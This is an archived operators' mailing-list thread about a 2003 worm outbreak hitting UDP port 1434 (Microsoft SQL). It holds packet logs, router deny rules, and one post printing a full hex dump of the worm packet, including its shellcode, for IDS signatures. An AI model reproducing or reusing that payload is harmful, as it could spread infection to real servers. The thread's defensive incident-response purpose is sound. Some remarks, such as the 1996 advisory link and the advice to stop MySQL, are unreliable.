Level3 routing issues?

I am on Verizon-GNI via Qwest and Genuity and seeing the same problem as well.

-hc

Joel Perez wrote:

Lots of traffic on udp port 1434 coming in here via TW Telecom and Sprint

Looks like we may have a winner for DDoS of the year (so far)

Same here. We first saw what looked like a DoS at about
09:00 PST. We're seeing strange stuff all over the place.

-jr

* hc <haesu@towardex.com> [20030124 22:35]:

It is global.

01:42:04.040462 194.87.13.21.1812 > x.x.x.x.1434: rad-account-req
376 [id 1] Attr[ User User User User User User User User User User User
User User User User User User User User User User User User User User User
User User User User User User User [|radius]

That is the traffic...

What kind of traffic levels are you seeing? With a handful of /16 etc
we're not seeing more than 5-10 megabits of traffic according to my
global transit graphs.

People who havent null routed their unused prefixes properly will probably
see a lot of problems though (but that's default).

This is definately a world-wide problem.

Many networks are reporting all sorts of things. Nothing clear, except
that it's all aimed at 1434.

01:28:33.331686 64.21.34.210.28295 > 238.192.142.61.1434: udp 376 [ttl 1]
01:28:33.331720 207.99.21.121.1917 > 226.39.19.228.1434: udp 376 [ttl 1]
01:28:33.331772 64.247.0.168.1379 > 239.194.46.210.1434: udp 376 [ttl 1]
01:28:33.331841 207.99.77.34.3894 > 227.154.8.29.1434: udp 376 [ttl 1]
01:28:33.331992 207.99.21.120.2558 > 231.16.91.78.1434: udp 376 [ttl 1]

FYI:

ms-sql-m 1434/tcp #Microsoft-SQL-Monitor
ms-sql-m 1434/udp #Microsoft-SQL-Monitor

Lots of traffic on udp port 1434 coming in here via TW Telecom and Sprint

Looks like we may have a winner for DDoS of the year (so far)

Temporary block in place. My border cpu was starting to hammer up.

Outbound stat about 2 minutes later:
    deny udp any any eq 1434 (445523 matches)
    permit ip 69.8.0.0 0.0.63.255 any (55749 matches)
    permit ip 206.27.138.0 0.0.1.255 any
    permit ip 206.30.96.0 0.0.31.255 any (97851 matches)
    permit ip 205.162.224.0 0.0.15.255 any (146920 matches)
    permit ip 205.240.128.0 0.0.15.255 any (49146 matches)
    permit ip 204.249.192.0 0.0.15.255 any (27351 matches)
    permit ip 192.133.7.0 0.0.0.255 any (5 matches)
    permit ip 63.136.128.0 0.0.3.255 any (379 matches)
    permit ip 216.226.0.0 0.0.31.255 any (27173 matches)
    permit ip 64.58.32.0 0.0.15.255 any (17368 matches)
    permit ip 206.230.34.128 0.0.0.127 any
    permit ip 209.54.40.0 0.0.1.255 any
    permit ip 206.61.140.0 0.0.0.255 any (52 matches)

Inbound stat at same time:
    deny udp any any eq 1434 (53534 matches)
    permit ip any any (431556 matches)

cpu load drop of about 20%....Definately a bad port. virus suspected due to
inbound and outbound.

Jack Bates
Network Engineer
BrightNet Oklahoma

Appears to relate to this cert advisory

http://www.cert.org/advisories/CA-1996-01.html

We have it totally blocked on our network but the routers are working over time just rejecting packets.

The only way to stop it is to stop MySQL or kill the hosts network connection.

dies@pulltheplug.com wrote:

* Josh Richards <jrichard@cubicle.net> [20030124 23:25]:

Same here. We first saw what looked like a DoS at about
09:00 PST. We're seeing strange stuff all over the place.

Oops, meant to say 09:30 PST.

-jr

Either I’m seeing something different, or you’re decoding the packets differently… Or there are two worms? In any case, this is what we’re seeing:

03:00:16.926474 64.57.XXX.XXX.2821 > XX.XXX.XXX.XXX.1434: udp 376
0x0000 4500 0194 388e 0000 7211 0000 4039 XXXX E…8…r…@9
0x0010 XXXX XXXX 0b05 059a 0180 6190 0401 0101 …a…
0x0020 0101 0101 0101 0101 0101 0101 0101 0101 …
0x0030 0101 0101 0101 0101 0101 0101 0101 0101 …
0x0040 0101 0101 0101 0101 0101 0101 0101 0101 …
0x0050 0101 0101 0101 0101 0101 0101 0101 0101 …
0x0060 0101 0101 0101 0101 0101 0101 0101 0101 …
0x0070 0101 0101 0101 0101 0101 0101 01dc c9b0 …
0x0080 42eb 0e01 0101 0101 0101 70ae 4201 70ae B…p.B.p.
0x0090 4290 9090 9090 9090 9068 dcc9 b042 b801 B…h…B…
0x00a0 0101 0131 c9b1 1850 e2fd 3501 0101 0550 …1…P…5…P
0x00b0 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 …Qh.dllhel32hke
0x00c0 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe
0x00d0 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf.llQh32.dhws2
0x00e0 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f.etQhsockf.toQ
0x00f0 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend…B.E.P…
0x0100 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.E.P.E.P…P…
0x0110 428b 1e8b 033d 558b ec51 7405 be1c 10ae B…=U…Qt…
0x0120 42ff 16ff d031 c951 5150 81f1 0301 049b B…1.QQP…
0x0130 81f1 0101 0101 518d 45cc 508b 45c0 50ff …Q.E.P.E.P.
0x0140 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j…P.E.P.E
0x0150 c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 .P…<a…E
0x0160 b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 …@…)
0x0170 c28d 0490 01d8 8945 b46a 108d 45b0 5031 …E.j…E.P1
0x0180 c951 6681 f178 0151 8d45 0350 8b45 ac50 .Qf…x.Q.E.P.E.P
0x0190 ffd6 ebca …

Not saying that isn’t what you saw, just letting people know what else to expect if they’re trying to setup IDS signatures…

(sending this email in plain and HTML, to help some email clients format that correctly - excuse the HTML for everyone else)

I'm working on it for some friends, and I'm seeing about 900mbits/second
on a gigabit link coming out of their hosting facility. Lots and lots of
Microsoft crap in there, I guess.

Somebody remind me why Microsoft is still allowed to exist?

                                -Bill

What kind of traffic levels are you seeing? With a handful of /16 etc
we're not seeing more than 5-10 megabits of traffic according to my
global transit graphs.

People who havent null routed their unused prefixes properly will probably
see a lot of problems though (but that's default).

Going by the decline in both my outbound and inbound access lists over time,
I suspect that the traffic increases when a sql server is found. Once
communication is cut between the two, it appears that there is just scan
data passing through at a lower rate. I have little data to go on, though,
so my assessment may not be accurate.

Jack Bates
BrightNet Oklahoma

We had a IIS server in our collocation center start spewing data at 70mb/s
towards the internet. Considering we're only attached to our (multiple)
upstreams at a combined bandwidth of quite a bit less than that, it
basically buried our router and upstream connectivity.

- Forrest W. Christian (forrestc@imach.com) AC7DE

Interesting. Qwest is still extremely hosed; I can get routes from them,
but packets are not getting anywhere on their network NATIONWIDE,
according to the person I just talked to.

I asked if this was related to the new worm that popped up, and she didn't
know, she only knew that it was affecting their "backbone" (hadn't heard
it called that in a while).

Yet, with Genuity, I don't seem to be having difficulties reaching
anywhere. Are people still being absolutely ravaged by the worm at this
minute? I personally never saw any serious increase of traffic on my
network, I guess I'm enough to have colo customers who patch their
boxes...

Andy

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Andy Dills 301-682-9972
Xecunet, LLC www.xecu.net
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Dialup * Webhosting * E-Commerce * High-Speed Access

Dunno, arent they negligent?

In any other industry a fundemental flaw would be met with lawsuits, in the
computer world tho people seem to get around for some reason.

Steve

Yet, with Genuity, I don't seem to be having difficulties reaching
anywhere. Are people still being absolutely ravaged by the worm at this
minute? I personally never saw any serious increase of traffic on my
network, I guess I'm enough to have colo customers who patch their

                ^
        lucky

boxes...

Oh, and the master ticket number is 693626, with no ETR.

Any speculation as to why Qwest is taking it in the ass so particularly
hard?

Andy

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Andy Dills 301-682-9972
Xecunet, LLC www.xecu.net
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Dialup * Webhosting * E-Commerce * High-Speed Access

Let's not blame MS for admins who don't know how to secure their boxes
:slight_smile:
A patch was released mid-2002 and was also part of SQL Server SP3

Including the developers of SSHD, HTTPD, NAMED, CVS?

How about Linus? Wanna call him up?

I am no windows cheerleader, but to think this is something that happens
only in windows-land is whack -- might as well put your head in the sand.

Simple philosophy: Everything sucks at all times and all places. Routers,
switches, hosts, OS's. We, as operators, have to do our best to deal.

It's arguable you are as liable as anyone else, since this particular
exploit is 'old news' and a patch has been available for it for some time.

Also; everyone who just posted to this list made it abundantly clear that
they don't have a firewall in front of at least one MS SQL server on their
network. Should you really have port 1433/4 open to the world? Would you
do this with a MySql server?

-- Alex Rubenstein, AR97, K2AHR, alex@nac.net, latency, Al Reuben --
-- Net Access Corporation, 800-NET-ME-36, http://www.nac.net --

> > Somebody remind me why Microsoft is still allowed to exist?
>
> Dunno, arent they negligent?
>
> In any other industry a fundemental flaw would be met with lawsuits, in the
> computer world tho people seem to get around for some reason.

Including the developers of SSHD, HTTPD, NAMED, CVS?

How about Linus? Wanna call him up?

Not sure you can claim something you have for free is liable or with guarantee

I am no windows cheerleader, but to think this is something that happens
only in windows-land is whack -- might as well put your head in the sand.

True altho it does appear to affect MS more so than it ought to even considering
their market lead.

Simple philosophy: Everything sucks at all times and all places. Routers,
switches, hosts, OS's. We, as operators, have to do our best to deal.

I expect my purchases to live up to their sales description

It's arguable you are as liable as anyone else, since this particular
exploit is 'old news' and a patch has been available for it for some time.

I'm not hit, its my customers!

Also; everyone who just posted to this list made it abundantly clear that
they don't have a firewall in front of at least one MS SQL server on their
network. Should you really have port 1433/4 open to the world? Would you
do this with a MySql server?

Yes, thats bad.. people should be more clueful than they are, I blame folks
being cheap, having staff who are clueless, low quality equipment, this is the
market we're in.

Steve

[snip]

Let's not blame MS for admins who don't know how to secure their boxes
:slight_smile:
A patch was released mid-2002 and was also part of SQL Server SP3

Would it not also be a good idea/practice *not* to ever let a MS SQL
server (or *any* database server) sit on a network that is directly
accessible from the internet ? Having a firewall(s) in front of your
database server regardless of the type is pretty much common sense, right?

Its bad enough to be stuck having to run/support IIS and MSSQL in any
scenario, but letting MSSQL talk to the world just seems like asking for
even more trouble.

-jon